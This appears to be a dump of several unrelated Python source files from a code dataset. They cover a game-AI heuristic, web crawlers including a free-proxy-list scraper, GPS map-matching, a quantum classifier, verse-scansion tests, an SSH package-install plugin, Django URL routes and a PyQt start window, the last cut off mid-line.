value(self, state, color):\n # \"\"\" Simple heuristic to evaluate board configurations\n # Heuristic is (num of 4-in-a-rows)*99999 + (num of 3-in-a-rows)*100 +\n # (num of 2-in-a-rows)*10 - (num of opponent 4-in-a-rows)*99999 - (num of opponent\n # 3-in-a-rows)*100 - (num of opponent 2-in-a-rows)*10\n # \"\"\"\n # if color == self.colors[0]:\n # o_color = self.colors[1]\n # else:\n # o_color = self.colors[0]\n #\n # my_fours = self.checkForStreak(state, color, 4)\n # my_threes = self.checkForStreak(state, color, 3)\n # my_twos = self.checkForStreak(state, color, 2)\n # opp_fours = self.checkForStreak(state, o_color, 4)\n # opp_threes = self.checkForStreak(state, o_color, 3)\n # opp_twos = self.checkForStreak(state, o_color, 2)\n # if opp_fours > 0:\n # return -10000000\n # else:\n # return my_fours * 100000 + my_threes * 100 + my_twos - (opp_threes *150 + opp_twos)\n","sub_path":"AI-master/FinalAssignment/alphabeta.py","file_name":"alphabeta.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"209602876","text":"import socket\nimport http.client\nimport spider.tencent\nimport spider.tencent.store\nimport spider.tencent.fetcher\nimport spider.tencent.parser\nfrom spider.tencent.error import *\n\n__all__ = [\"crawlHomePage\", \"crawlPostDetail\"]\n\nclass HomePageCrawler:\n\tdef __init__(self, loggingQueue):\n\t\tself.__store = spider.tencent.store.Storage()\n\t\tself.__fetcher = spider.tencent.fetcher.HttpClientFetcher()\n\t\tself.__loggingQueue = loggingQueue\n\n\tdef startCrawling(self, groupSize, crawlerId):\n\t\tfor (userId, home) in \\\n\t\t\t\tself.__store.getHomePageFetchQueue(groupSize, crawlerId):\n\t\t\tself.__crawlSinglePage(userId, home)\n\n\tdef __crawlSinglePage(self, userId, home):\n\t\tmessage = \"/\" + home + \"\\t\"\n\t\ttry:\n\t\t\tcontent = self.__fetcher.fetchPath(\"/\" + home)\n\t\t\tresult = spider.tencent.parser.HomePage(content).parse()\n\t\t\tself.__storeHomePage(userId, result)\n\t\t\tmessage += result[0]\n\t\texcept (socket.timeout, http.client.IncompleteRead, socket.error):\n\t\t\tmessage += \"@NETWORK-ERROR@\"\n\t\texcept (UnknownTemplate, UnicodeDecodeError, HttpError):\n\t\t\tself.__store.removeUserStub(userId)\n\t\t\tmessage += \"@BAD-PAGE@\"\n\t\tfinally:\n\t\t\tself.__loggingQueue.put(message)\n\n\tdef __storeHomePage(self, userId, result):\n\t\tname, postList, userList = result\n\t\tself.__store.fillUserStub(userId, name)\n\t\tfor u in set(userList):\n\t\t\tself.__store.addUserStub(u)\n\t\tfor p in postList:\n\t\t\tif len(p) == 2:\n\t\t\t\tself.__store.addCompletePost(userId, p[0], p[1])\n\t\t\telse:\n\t\t\t\tself.__store.addPostStub(p[0])\n\nclass PostDetailCrawler:\n\tdef __init__(self, loggingQueue):\n\t\tself.__loggingQueue = loggingQueue;\n\t\tself.__fetcher = spider.tencent.fetcher.HttpClientFetcher()\n\t\tself.__store = spider.tencent.store.Storage()\n\t\n\tdef startCrawling(self, groupSize, crawlerId):\n\t\tfor postId in \\\n\t\t\t\tself.__store.getPostDetailFetchQueue(groupSize, crawlerId):\n\t\t\tself.__crawlSinglePost(postId)\n\n\tdef __handlePostPage(self, postId, url, retrieveContent):\n\t\thtmlText = self.__fetcher.fetchUrl(url)\n\t\tinfo = spider.tencent.parser.PostDetail(htmlText, postId)\n\t\tresult = info.parse(retrieveContent)\n\t\tif len(result) == 4:\n\t\t\tself.__store.addUserStub(result[3])\n\t\t\tuid = self.__store.getUserId(result[3])\n\t\t\tself.__store.fillPostStub(postId, uid, result[2])\n\t\tfor u in set(result[0]):\n\t\t\tself.__store.addUserStub(u)\n\t\treturn result[1]\n\n\tdef __crawlSinglePost(self, postId):\n\t\turl = spider.tencent.POST_DETAIL_URL + str(postId)\n\t\tmessage = \"/p/t/\" + str(postId) + \"\\t\"\n\t\ttry:\n\t\t\turl = self.__handlePostPage(postId, url, True)\n\t\t\ttry:\n\t\t\t\twhile url != None:\n\t\t\t\t\turl = self.__handlePostPage(postId, url, False)\n\t\t\t\tmessage += \"@DONE@\"\n\t\t\texcept Exception as e:\n\t\t\t\tmessage += \"@PARTIAL@\"\n\t\t\t\traise e\n\t\texcept (socket.timeout, http.client.IncompleteRead, socket.error):\n\t\t\tmessage += \"@NETWORK-ERROR@\"\n\t\texcept (UnicodeDecodeError, HttpError):\n\t\t\tself.__store.removePostStub(postId)\n\t\t\tmessage += \"@BAD-PAGE@\"\n\t\tfinally:\n\t\t\tself.__loggingQueue.put(message)\n\ndef crawlHomePage(groupSize, crawlerId, loggingQueue):\n\tcrawler = HomePageCrawler(loggingQueue)\n\tcrawler.startCrawling(groupSize, crawlerId)\n\ndef crawlPostDetail(groupSize, crawlerId, loggingQueue):\n\tcrawler = PostDetailCrawler(loggingQueue)\n\tcrawler.startCrawling(groupSize, crawlerId)","sub_path":"extras/weibo-spider/spider/tencent/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"621506768","text":"import os\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\nfrom time import sleep\r\nimport matplotlib.pyplot as plt\r\nimport traj_process.basic_process as traj_process\r\n\r\n\r\ndef map_match(network, interval=3, figures_folder=None, node_list=None):\r\n \"\"\"\r\n\r\n :param network:\r\n :param interval:\r\n :param figures_folder:\r\n :param node_list:\r\n :return:\r\n \"\"\"\r\n\r\n # process the trajectory data of each node\r\n for node_id in network.nodes.keys():\r\n if node_list is not None:\r\n if not (node_id in node_list):\r\n continue\r\n # prepare the movements\r\n movements = network.nodes[node_id].movements\r\n\r\n # get the raw trajectories\r\n raw_trajectories = network.nodes[node_id].raw_trajectories\r\n\r\n # if there is no trajs of this node!\r\n if raw_trajectories is None:\r\n continue\r\n\r\n total_trips_num = len(raw_trajectories[\"time_stamp\"])\r\n\r\n trips_maximum_prob = []\r\n\r\n print(\"Map-matching node\", node_id, \"...\")\r\n sleep(0.005)\r\n for idx in tqdm(range(total_trips_num)):\r\n local_time_stamp = raw_trajectories[\"time_stamp\"][idx]\r\n local_latitudes = raw_trajectories[\"latitudes\"][idx]\r\n local_longitudes = raw_trajectories[\"longitudes\"][idx]\r\n trip_id = raw_trajectories[\"trip_id\"][idx]\r\n\r\n # continue if the num of the points less than a threshold\r\n if len(local_time_stamp) < 10:\r\n continue\r\n\r\n # generate the table of the minimum links to the traj points\r\n # change the interval of the trajectory points\r\n trajs_lats = local_latitudes[::interval]\r\n trajs_lons = local_longitudes[::interval]\r\n\r\n # save the probability that the trajs belong to a movement\r\n probability_dict = {}\r\n\r\n for movement_id in movements.keys():\r\n movement_landmarks = movements[movement_id].get_landmarks(network)\r\n\r\n link_latitudes = movement_landmarks[\"latitudes\"]\r\n link_longitudes = movement_landmarks[\"longitudes\"]\r\n\r\n last_idx = None\r\n for traj_idx in range(len(trajs_lats)):\r\n traj_lat = trajs_lats[traj_idx]\r\n traj_lon = trajs_lons[traj_idx]\r\n\r\n min_distance, min_point, point_idx = \\\r\n traj_process.get_min_distance_to_link(traj_lat, traj_lon,\r\n link_latitudes, link_longitudes)\r\n\r\n # this code is to ensure the direction of the trajectory\r\n local_idx = point_idx\r\n if last_idx is None:\r\n last_idx = local_idx\r\n else:\r\n if local_idx < last_idx:\r\n probability_dict[movement_id] *= 0.1\r\n\r\n if not (movement_id in probability_dict.keys()):\r\n probability_dict[movement_id] = 1\r\n\r\n probability_dict[movement_id] *= get_state_possibility(min_distance)\r\n\r\n points_num = len(trajs_lats)\r\n\r\n # Normalize the probability\r\n probability_dict[movement_id] = pow(probability_dict[movement_id], 1 / points_num)\r\n\r\n # get the maximum probability\r\n maximum_prob = 0\r\n best_movement_id = None\r\n for movement_id in probability_dict.keys():\r\n local_prob = probability_dict[movement_id]\r\n if local_prob > maximum_prob:\r\n best_movement_id = movement_id\r\n maximum_prob = local_prob\r\n\r\n # all the probability is zero\r\n if best_movement_id is None:\r\n continue\r\n\r\n # save the trajectory to the movement\r\n if maximum_prob > 0.4:\r\n if network.nodes[node_id].movements[best_movement_id].raw_trajectory is None:\r\n network.nodes[node_id].movements[best_movement_id].raw_trajectory = {\"time_stamp\": [],\r\n \"latitudes\": [],\r\n \"longitudes\": [],\r\n \"trip_id\": []}\r\n else:\r\n print(network.nodes[node_id].movements[best_movement_id].raw_trajectory.keys())\r\n network.nodes[node_id].movements[best_movement_id].raw_trajectory[\"time_stamp\"].append(local_time_stamp)\r\n network.nodes[node_id].movements[best_movement_id].raw_trajectory[\"latitudes\"].append(local_latitudes)\r\n network.nodes[node_id].movements[best_movement_id].raw_trajectory[\"longitudes\"].append(local_longitudes)\r\n network.nodes[node_id].movements[best_movement_id].raw_trajectory[\"trip_id\"].append(trip_id)\r\n\r\n if network.nodes[node_id].movements[best_movement_id].matched_trajectory is None:\r\n network.nodes[node_id].movements[best_movement_id].matched_trajectory = {\"time_stamp\": [],\r\n \"latitudes\": [],\r\n \"longitudes\": [],\r\n \"trip_id\": []}\r\n network.nodes[node_id].movements[best_movement_id].matched_trajectory[\"time_stamp\"].append(local_time_stamp)\r\n network.nodes[node_id].movements[best_movement_id].matched_trajectory[\"latitudes\"].append(local_latitudes)\r\n network.nodes[node_id].movements[best_movement_id].matched_trajectory[\"longitudes\"].append(local_longitudes)\r\n network.nodes[node_id].movements[best_movement_id].matched_trajectory[\"trip_id\"].append(trip_id)\r\n\r\n trips_maximum_prob.append(maximum_prob)\r\n\r\n if figures_folder is not None:\r\n plt.figure(dpi=150)\r\n plt.hist(trips_maximum_prob)\r\n valid_prop = np.sum([val > 0.4 for val in trips_maximum_prob]) / len(trips_maximum_prob)\r\n valid_prop = np.round(valid_prop * 100, 2)\r\n plt.title(str(node_id) + \" \" + str(valid_prop) + \"%\")\r\n\r\n save_file_name = os.path.join(figures_folder, str(node_id) + \"-hist.png\")\r\n plt.savefig(save_file_name)\r\n plt.close()\r\n\r\n movements = network.nodes[node_id].movements\r\n plt.figure(dpi=200, figsize=[15, 8])\r\n for movement_id in movements.keys():\r\n phase_id = movements[movement_id].phase_id\r\n plt.subplot(2, 4, phase_id)\r\n raw_trajectories = movements[movement_id].raw_trajectory\r\n\r\n for temp_id in movements.keys():\r\n movement_landmarks = movements[temp_id].get_landmarks(network)\r\n plt.plot(movement_landmarks[\"longitudes\"], movement_landmarks[\"latitudes\"], \"b.-\", alpha=0.3)\r\n\r\n if raw_trajectories is not None:\r\n trips_latitudes = raw_trajectories[\"latitudes\"]\r\n trips_longitudes = raw_trajectories[\"longitudes\"]\r\n for trip_idx in range(len(trips_latitudes)):\r\n plt.plot(trips_longitudes[trip_idx],\r\n trips_latitudes[trip_idx], \"r\", alpha=0.5)\r\n\r\n if raw_trajectories is None:\r\n plt.title(\"Phase \" + str(phase_id) + \" \" + \"0\")\r\n else:\r\n plt.title(\"Phase \" + str(phase_id) + \" \" + str(len(raw_trajectories[\"latitudes\"])))\r\n plt.xlabel(\"Longitude\")\r\n plt.ylabel(\"Latitude\")\r\n plt.xticks([])\r\n plt.yticks([])\r\n\r\n plt.tight_layout()\r\n plt.savefig(os.path.join(figures_folder, str(node_id) + \".png\"))\r\n plt.close()\r\n return network\r\n\r\n\r\ndef get_state_possibility(distance, sigma_z=8):\r\n \"\"\"\r\n\r\n :param distance:\r\n :param sigma_z:\r\n :return:\r\n \"\"\"\r\n prop = 1 / np.sqrt(2 * np.pi) / sigma_z * np.exp(-0.5 * pow(distance / sigma_z, 2))\r\n\r\n standard_value = 1 / np.sqrt(2 * np.pi) / sigma_z * np.exp(-0.5 * pow(0 / sigma_z, 2))\r\n prop /= standard_value\r\n return prop\r\n\r\n","sub_path":"traj_process/map_match.py","file_name":"map_match.py","file_ext":"py","file_size_in_byte":8518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"374292876","text":"import requests\nfrom scrapy.selector import Selector\nimport MySQLdb\nimport time\n\nconn=MySQLdb.connect(host=\"127.0.0.1\",user=\"root\",passwd=\"123456\",db=\"article_spider\",charset=\"utf8\")\ncursor=conn.cursor()\n\ndef crawl_ips():\n '''爬取西刺的免费ip代理'''\n headers={\"User-Agent\":\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\"}\n for i in range(1,3400):\n print(\"第:\",str(i),\"页\")\n time.sleep(1)\n re=requests.get(\"http://www.xicidaili.com/nn/{0}\".format(i),headers=headers)\n selector=Selector(text=re.text)\n all_trs=selector.css(\"#ip_list tr\")[1:]\n # print(all_trs)\n\n ip_list=[]\n for tr in all_trs:\n speed_str=tr.css(\".bar::attr(title)\").extract()[0]\n if speed_str:\n speed=float(speed_str.split(\"秒\")[0]) #速度\n # print(speed)\n all_texts=tr.css(\"td::text\").extract()\n # print(all_texts)\n ip=all_texts[0]\n port=all_texts[1]\n proxy_type=all_texts[5] if all_texts[2]=='\\n ' else all_texts[4]\n ip_list.append((ip,port,proxy_type,speed))\n\n for ip_info in ip_list: #注意这里用单引号\n insert_sql = \"insert into proxy_ip(`ip`,`port`,`speed`,`proxy_type`) VALUES ('{0}','{1}',{2},'{3}');\".format(ip_info[0],ip_info[1],ip_info[3],ip_info[2])\n print(insert_sql)\n cursor.execute(insert_sql)\n conn.commit()\n\nclass GetIP(object):\n def delete_ip(self,ip):\n #从数据库中删除无效的ip\n delete_sql = \"delete from proxy_ip where ip='{0}'\".format(ip)\n cursor.execute(delete_sql)\n conn.commit()\n return True\n def judge_ip(self,ip,port):\n '''判断ip是否可用'''\n http_url=\"https://www.baidu.com\" #坑!这里必须用https://www.baidu.com\n proxy_url=\"https://{0}:{1}\".format(ip,port)\n try:\n proxy_dict={\n \"http\":proxy_url,\n }\n response=requests.get(http_url,proxies=proxy_dict)\n except Exception as e:\n print(\"invalid ip and port\")\n self.delete_ip(ip)\n return False\n else: #如果except不会执行else\n code=response.status_code\n if code>=200 and code<300:\n print(\"effective ip\")\n return True\n else:\n print(\"invalid ip and port\")\n self.delete_ip(ip)\n return False\n def get_random_ip(self):\n '''从数据库中随机获取一个可用的ip'''\n random_sql=\"SELECT ip,port FROM proxy_ip ORDER BY RAND() LIMIT 1;\"\n result=cursor.execute(random_sql)\n for ip_info in cursor.fetchall():\n ip=ip_info[0]\n port=ip_info[1]\n print(\"随机获取了一个ip地址:\",ip,port)\n judge_re=self.judge_ip(ip,port)\n if judge_re:\n return \"https://{0}:{1}\".format(ip,port)\n else:\n return self.get_random_ip()\n\nif __name__ == '__main__':\n #爬ip\n # crawl_ips()\n\n g=GetIP();\n # 随机返回一个代理ip地址,例:https://121.231.68.71:33835\n print(g.get_random_ip())","sub_path":"tools/crawl_xici_ip.py","file_name":"crawl_xici_ip.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"627579761","text":"from math import acos, pi, sqrt\n\nimport numpy as np\nfrom qiskit import BasicAer\nfrom qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister\nfrom qiskit.aqua import QuantumInstance\nfrom qiskit.aqua.algorithms import VQC\nfrom qiskit.aqua.components.feature_maps import FeatureMap\nfrom qiskit.aqua.components.optimizers import SPSA\nfrom qiskit.circuit.library import TwoLocal\nfrom qiskit import IBMQ\nfrom qiskit.providers.ibmq import least_busy\nIBMQ.load_account()\nfrom read_data import *\n\nclass QracFeatureMap(FeatureMap):\n \"\"\"Mapping data with a custom feature map.\"\"\"\n\n def __init__(self, feature_dimension, depth=2):\n \"\"\"\n Args:\n feature_dimension (int): number of features\n depth (int): the number of repeated circuits\n \"\"\"\n self._support_parameterized_circuit = False\n self._feature_dimension = feature_dimension\n self._num_qubits = self._feature_dimension = feature_dimension\n self._depth = depth\n\n def construct_circuit(self, feature_string, qr, inverse=False):\n \"\"\"Construct the feature map circuit.\n\n Args:\n feature_string (string): 3n bit string encoding the case.\n qr (QauntumRegister): the QuantumRegister object for the circuit.\n inverse (bool): whether or not to invert the circuit.\n\n Returns:\n QuantumCircuit: a quantum circuit transforming data x.\n \"\"\"\n n_qubit = self._feature_dimension\n qc = QuantumCircuit(qr)\n theta = acos(sqrt(0.5 + sqrt(3.0) / 6.0))\n rotationParams = {\"000\": (2 * theta, pi / 4, -pi / 4), \"010\": (2 * theta, 3 * pi / 4, -3 * pi / 4),\n \"100\": (pi - 2 * theta, pi / 4, -pi / 4), \"110\": (pi - 2 * theta, 3 * pi / 4, -3 * pi / 4),\n \"001\": (2 * theta, -pi / 4, pi / 4), \"011\": (2 * theta, -3 * pi / 4, 3 * pi / 4),\n \"101\": (pi - 2 * theta, -pi / 4, pi / 4), \"111\": (pi - 2 * theta, -3 * pi / 4, 3 * pi / 4)}\n bits_list = [feature_string[i:i + 3] for i in range(0, 3*n_qubit, 3)]\n for i, bit in enumerate(bits_list):\n qc.u(*rotationParams[bit], i)\n qc.barrier()\n return qc\n\nclass TrainingMonitor:\n def __init__(self, iters, logging = True):\n self.batch_num = []\n self.params = []\n self.loss_hist = []\n self.index = []\n self.it = iters\n self.is_logging = logging\n def callback_monitor(self,a,b,c,d):\n if a%self.it==0:\n self.batch_num.append(a)\n self.params.append(b)\n self.loss_hist.append(c)\n self.index.append(d)\n if self.is_logging:\n print('Loss: %.3f'%c)\n'''\nDummy input\ntraining_input = {'A':['000','001','010','011','100'],'B':['101','110','111']}\ntest_input = {'A':['000','001','010','011','100'],'B':['101','110','111']}\n'''\n\nif __name__ == \"__main__\":\n training_input, test_input, pre_input = data2feature(read_cancer_data())\n random_seed = 333\n\n\n provider = IBMQ.get_provider(hub='ibm-q-utokyo', group='internal', project='qc2021s')\n backend = least_busy(provider.backends(filters=lambda x: x.configuration().n_qubits >= 3 and\n not x.configuration().simulator and x.status().operational==True))\n print(\"least busy backend: \", backend)\n\n optimizer = SPSA(max_trials=100, c0=4.0, skip_calibration=True)\n optimizer.set_options(save_steps=1)\n feature_map = QracFeatureMap(feature_dimension=3, depth=1)\n var_form = TwoLocal(3, ['ry','rz'], 'cz', reps=2)\n monitor = TrainingMonitor(5, logging=True)\n vqc = VQC(optimizer, feature_map, var_form, training_input, test_input, callback=monitor.callback_monitor)\n quantum_instance = QuantumInstance(backend, shots=1024, seed_simulator=random_seed, seed_transpiler=random_seed)\n result = vqc.run(quantum_instance)\n\n result_set_A = []\n result_set_B = []\n for i in range(10):\n pre_result_A = vqc.predict(pre_input['A'][i], quantum_instance)\n pre_result_B = vqc.predict(pre_input['B'][i], quantum_instance)\n success_ratio_A = list(pre_result_A[1]).count(0)/len(pre_result_A[1])\n success_ratio_B = list(pre_result_B[1]).count(1)/len(pre_result_B[1])\n print(f'Predict success ratio for negative cases of {i+1}th valid set: {success_ratio_A:.3f}')\n print(f'Predict success ratio for postive cases of {i+1}th valid set: {success_ratio_B:.3f}\\n')\n result_set_A.append(success_ratio_A)\n result_set_B.append(success_ratio_B)\n \n average_ratio_A = sum(result_set_A) / len(result_set_A)\n average_ratio_B = sum(result_set_B) / len(result_set_B)\n print(f\"success negative cases: {average_ratio_A:.3f}\\n success positive cases: {average_ratio_B:.3f}\")\n\n # Calculate f1 score\n p = list(pre_result_B[1]).count(1)/(list(pre_result_B[1]).count(1)+list(pre_result_A[1]).count(1))\n r = list(pre_result_B[1]).count(1)/len(pre_result_B[1])\n f1 = 2*p*r/(p+r)\n \n overall = (list(pre_result_A[1]).count(0)+list(pre_result_B[1]).count(1))/(len(pre_result_A[1])+len(pre_result_B[1]))\n print(f'Overall success ratio: {overall:.3f}')\n print(f'F1 value: {f1:.3f}')","sub_path":"qrac-qvc-real-backends.py","file_name":"qrac-qvc-real-backends.py","file_ext":"py","file_size_in_byte":5221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"394393549","text":"#!/usr/bin/env python3\n\nfrom collections import Counter\n\nfrom lengths import *\nfrom scan import *\n\ndefault_ld = LengthDictionary()\ndefault_ld.load(\".default_length_dictionary.pickle\")\n\nclass Test():\n \"\"\"Class for testing Semetrika with and without using\n length dictionary.\"\"\"\n\n def __init__(self, lines):\n # skip short lines\n self.lines = [line for line in lines\n if len(line) > 10]\n self.verse_count = len(self.lines)\n # without length dictionary\n self.verses_without_lengths = [Verse(line, length_dictionary=None)\n for line in self.lines]\n # with\n self.verses_with_lengths = [Verse(line, length_dictionary=\n default_ld.dictionary)\n for line in self.lines]\n # verses which cannot be scanned\n self.verses_with_no_scansion = [verse for verse\n in self.verses_without_lengths\n if verse.scansion_count == 0]\n # verses which are scanned differently with and without\n # the dictionary\n self.verses_with_different_scansions = [(wo, w) for wo, w\n in zip(self.verses_without_lengths,\n self.verses_with_lengths)\n if wo.scansion_count != w.scansion_count ]\n self.statistics = None\n self.count_statistics()\n\n # number of verses scanned in zero to six ways with and\n # without the length dictionary\n def count_statistics(self):\n statistics = {\"without\": Counter(), \"with\": Counter()}\n for verse in self.verses_without_lengths:\n statistics[\"without\"][verse.scansion_count] += 1\n for verse in self.verses_with_lengths:\n statistics[\"with\"][verse.scansion_count] += 1\n self.statistics = statistics\n return\n \n def print_statistics(self):\n \"\"\"Prints number of verses scanned in zero to six ways\n without and with the length dictionary.\"\"\"\n print(f\"NUMBER OF VERSES: {self.verse_count}\\n\")\n print(\"\\t| W/O\\tWITH\\t| W/O\\tWITH\")\n # there cannot be more than six scansions\n for scansion_count in range(7):\n wo_count = self.statistics[\"without\"][scansion_count]\n wo_pct = wo_count*100 // self.verse_count\n w_count = self.statistics[\"with\"][scansion_count]\n w_pct = w_count*100 // self.verse_count\n if not wo_count == w_count == 0:\n print(f\"{scansion_count}\\t| {wo_count}\\t{w_count}\"\n + f\"\\t| {wo_pct} %\\t{w_pct} %\")\n return\n \n def print_differences(self):\n \"\"\"Prints verses which cannot be scanned and those which\n are scanned differently without and with length dictionary.\"\"\"\n for verse_wo, verse_with in zip(self.verses_without_lengths,\n self.verses_with_lengths):\n if verse_wo.scansion_count == 0:\n print(\"NO SCANSION FOUND:\")\n verse_wo.print_scansions()\n print(f\"\\n{'='*30}\\n\")\n elif verse_wo.scansion_count != verse_with.scansion_count:\n print(\"DIFFERENT NUMEBR OF SCANSIONS:\")\n print(\"WITHOUT LENGTH DICTIONARY:\")\n verse_wo.print_scansions()\n print(\"WITH LENGTH DICTIONARY:\", end=\" \")\n verse_with.print_verse()\n verse_with.print_scansions()\n print(f\"\\n{'='*30}\\n\")\n return\n","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"319896734","text":"import logging\n\n_logger = logging.getLogger(__name__)\n\n\nclass Plugin:\n\n def install_package(self, server, package):\n \"\"\"\n Use common package managers to install the given package.\n\n :param server: SSHServer to install the package on\n :param package: name of the package to install\n \"\"\"\n command = \"sudo yum install %s -y\" % package\n _logger.debug(\"[PLUGIN:%s] Install package [%s] if needed (using yum)\" % (self.__class__.__name__, package))\n _logger.debug(command)\n _logger.debug(server.execute(command))\n command = \"sudo apt-get install %s -y\" % package\n _logger.debug(\"[PLUGIN:%s] Install package [%s] if needed (using apt-get)\" % (self.__class__.__name__, package))\n _logger.debug(command)\n _logger.debug(server.execute(command))\n _logger.debug(\"[PLUGIN:%s] Installing package [%s] done\" % (self.__class__.__name__, package))\n\n def install(self, server):\n \"\"\"\n Install the plugin on the given server.\n\n :param server: the SSHServer to install the software on\n \"\"\"\n raise Exception(\"[PLUGIN:%s] Method 'install' is not implemented\" % self.__class__.__name__)\n\n def collect(self, server):\n \"\"\"\n Collect results using the plugin and give back a list of dictionaries where all dictionaries have the same keys.\n\n :param: server SSHServer object which is used to execute commands on\n :return: list of dictionaries\n \"\"\"\n _logger.warn(\"[PLUGIN:%s] Method 'collect' is not implemented\" % self.__class__.__name__)\n","sub_path":"isa/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"118063675","text":"\"\"\"drfdemo URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.views.generic import TemplateView\nfrom django.urls import path, include\nfrom rest_framework.schemas import get_schema_view\nimport debug_toolbar\n\nurlpatterns = [\n path(\"horloge/\", include(\"horloge.urls\")),\n path(\"memcache/\", include(\"memcache.urls\")),\n path(\"files/\", include(\"file.urls\")),\n path(\"uptime/\", include(\"uptime.urls\")),\n path(\"admin/\", admin.site.urls),\n path(\"__debug__/\", include(debug_toolbar.urls)),\n path(\n \"openapi\",\n get_schema_view(\n title=\"Demo 1\", description=\"API for all things …\", version=\"1.0.0\"\n ),\n name=\"openapi-schema\",\n ),\n path(\n \"swagger-ui/\",\n TemplateView.as_view(\n template_name=\"swagger-ui.html\",\n extra_context={\"schema_url\": \"openapi-schema\"},\n ),\n ),\n]\n","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"19065681","text":"# -*- coding: utf-8 -*-\n\"\"\"\nPipeline-GUI for Analysis with MNE-Python\n@author: Martin Schulz\n@email: dev@earthman-music.de\n@github: https://github.com/marsipu/mne_pipeline_hd\nLicense: BSD (3-clause)\nWritten on top of MNE-Python\nCopyright © 2011-2020, authors of MNE-Python (https://doi.org/10.3389/fnins.2013.00267)\ninspired by Andersen, L. M. (2018) (https://doi.org/10.3389/fnins.2018.00006)\n\"\"\"\nfrom importlib import resources\nfrom os import listdir\nfrom os.path import isdir, join\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QFont, QPixmap\nfrom PyQt5.QtWidgets import (QComboBox, QFileDialog, QGroupBox, QHBoxLayout, QInputDialog,\n QLabel, QMessageBox, QPushButton, QVBoxLayout, QWidget)\n\nfrom mne_pipeline_hd import QS\nfrom mne_pipeline_hd.gui.base_widgets import SimpleList\nfrom mne_pipeline_hd.gui.gui_utils import ErrorDialog, center, WorkerDialog\nfrom mne_pipeline_hd.gui.main_window import MainWindow\nfrom mne_pipeline_hd.pipeline_functions.controller import Controller\n\n\nclass WelcomeWindow(QWidget):\n def __init__(self):\n super().__init__()\n\n self.ct = Controller()\n self.main_window = None\n self.education_programs = list()\n self.education_on = QS().value('education', defaultValue=0)\n\n self.init_ui()\n self.check_controller()\n\n self.show()\n center(self)\n\n def init_ui(self):\n layout = QVBoxLayout()\n title_label = QLabel('Welcome to MNE-Pipeline!')\n title_label.setFont(QFont(QS().value('app_font'), 20))\n layout.addWidget(title_label)\n\n image_label = QLabel()\n with resources.path('mne_pipeline_hd.pipeline_resources',\n 'mne_pipeline_logo_evee_smaller.jpg') as img_path:\n image_label.setPixmap(QPixmap(str(img_path)))\n layout.addWidget(image_label)\n\n home_layout = QHBoxLayout()\n self.home_path_label = QLabel()\n home_layout.addWidget(self.home_path_label, stretch=4)\n home_path_bt = QPushButton('Set Home-Folder')\n home_path_bt.clicked.connect(self.set_home_path)\n home_layout.addWidget(home_path_bt, alignment=Qt.AlignRight)\n layout.addLayout(home_layout)\n\n project_layout = QHBoxLayout()\n self.project_label = QLabel()\n project_layout.addWidget(self.project_label)\n self.project_cmbx = QComboBox()\n self.project_cmbx.activated.connect(self.project_changed)\n project_layout.addWidget(self.project_cmbx)\n self.add_pr_bt = QPushButton('Add Project')\n self.add_pr_bt.clicked.connect(self.add_project)\n project_layout.addWidget(self.add_pr_bt, alignment=Qt.AlignRight)\n layout.addLayout(project_layout)\n\n self.edu_groupbox = QGroupBox('Education')\n self.edu_groupbox.setCheckable(True)\n if self.education_on == 'true':\n self.edu_groupbox.setChecked(True)\n else:\n self.edu_groupbox.setChecked(False)\n edu_layout = QVBoxLayout()\n self.edu_selection = SimpleList(self.education_programs, title='Education')\n edu_layout.addWidget(self.edu_selection)\n self.edu_groupbox.setLayout(edu_layout)\n layout.addWidget(self.edu_groupbox)\n\n bt_layout = QHBoxLayout()\n self.start_bt = QPushButton('Start')\n self.start_bt.setFont(QFont(QS().value('app_font'), 20))\n self.start_bt.setEnabled(False)\n self.start_bt.clicked.connect(self.init_main_window)\n bt_layout.addWidget(self.start_bt)\n\n close_bt = QPushButton('Close')\n close_bt.clicked.connect(self.close)\n close_bt.setFont(QFont(QS().value('app_font'), 20))\n bt_layout.addWidget(close_bt)\n\n layout.addLayout(bt_layout)\n self.setLayout(layout)\n\n def check_controller(self):\n self.start_bt.setEnabled(False)\n self.project_cmbx.setEnabled(False)\n self.add_pr_bt.setEnabled(False)\n\n # Check for Home-Path-Problems\n if 'home_path' in self.ct.errors:\n ht = f'{self.ct.errors[\"home_path\"]}\\n' \\\n f'Select a folder as Home-Path!'\n self.home_path_label.setText(ht)\n else:\n self.home_path_label.setText(f'{self.ct.home_path} selected.')\n self.project_cmbx.setEnabled(True)\n self.update_project_cmbx()\n self.add_pr_bt.setEnabled(True)\n\n # Add education-programs if there are any\n self.education_programs.clear()\n edu_path = join(self.ct.home_path, 'edu_programs')\n if 